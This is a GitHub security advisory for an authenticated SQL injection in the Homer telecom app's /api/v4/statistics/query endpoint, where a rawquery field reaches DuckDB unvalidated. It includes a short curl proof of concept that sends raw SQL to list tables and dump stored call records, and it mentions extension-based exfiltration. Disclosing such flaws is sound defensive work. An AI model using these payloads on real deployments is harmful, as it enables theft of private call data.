GitHub Advisoryadvisory · Go
GHSA-f46q-3v67-fmm4 Homer: Authenticated SQL Injection via Unvalidated rawquery Field in /api/v4/statistics/query
HIGH
Official page ↗
- Aliases
- CVE-2026-62251
- Ecosystem
- Go
- Packages
- github.com/sipcapture/homer-app
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-89
- Reviewed
- 2026-10-07
Affected packages
• Go github.com/sipcapture/homer-app: < 0.0.0-20260625085520-a7d027dc684b → fixed in 0.0.0-20260625085520-a7d027dc684b
Description
Summary
The `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.
Details
`coordinator/handlers/statistics_v4.go` lines 74-107 — `V4StatisticsQuery`:
```go
query := &model.V4StatisticsQuery{}
if err = c.Bind(query); err != nil { ... }
// No ValidateRawSQL call here — contrast with other handlers:
results, err := h.flightService.Query(c.Request().Context(), query.RawQuery)
```
Contrast with `coordinator/handlers/search.go` line 194 — secure pattern not followed:
```go
if err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {
return c.JSON(http.StatusBadRequest, ...)
}
```
`query.RawQuery` is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the `protected` group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.
PoC
```bash
With a valid JWT (or empty JWT secret bypass):
curl -s -X POST http:///api/v4/statistics/query \
-H "Authorization: Bearer " \
-H "Content-Type: application/json" \
-d '{
"param": {
"query": [{"rawquery": "SELECT * FROM information_schema.tables"}]
}
}'
Returns all table names accessible to the DuckDB FlightSQL service
Exfiltrate all stored call records:
"rawquery": "SELECT * FROM hep LIMIT 1000"
Arbitrary DuckDB SQL is accepted including INSTALL/LOAD for extension-based exfiltration
```
Impact
SQL Injection / Improper Neutralization of Special Elements (CWE-89). Any authenticated user can execute arbitrary SQL against all data accessible to the FlightSQL/DuckDB backend — including all stored VoIP call records, SIP messages, and metadata. Combined with the authentication bypass when JWT secret is empty, this is exploitable without credentials.
Fix
Apply `sqlvalidator.ValidateRawSQL()` to `query.RawQuery` before passing it to `h.flightService.Query()`, matching the pattern already used in `search.go` and `transactions_v4.go`.
If possible, please apply for a CVE number when posting.
Related
Alias · CVE (1)
- CVE-2026-62251 Homer is open source telecom observability software. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/sipcapture/homer/security/advisories/GHSA-f46q-3v67-fmm4 web
- https://github.com/sipcapture/homer/pull/837 web
- https://github.com/sipcapture/homer/commit/a7d027dc684b210b62285c49f555ac88d64f35f0 web
- https://github.com/sipcapture/homer package
- https://github.com/sipcapture/homer/releases/tag/11.0.283 web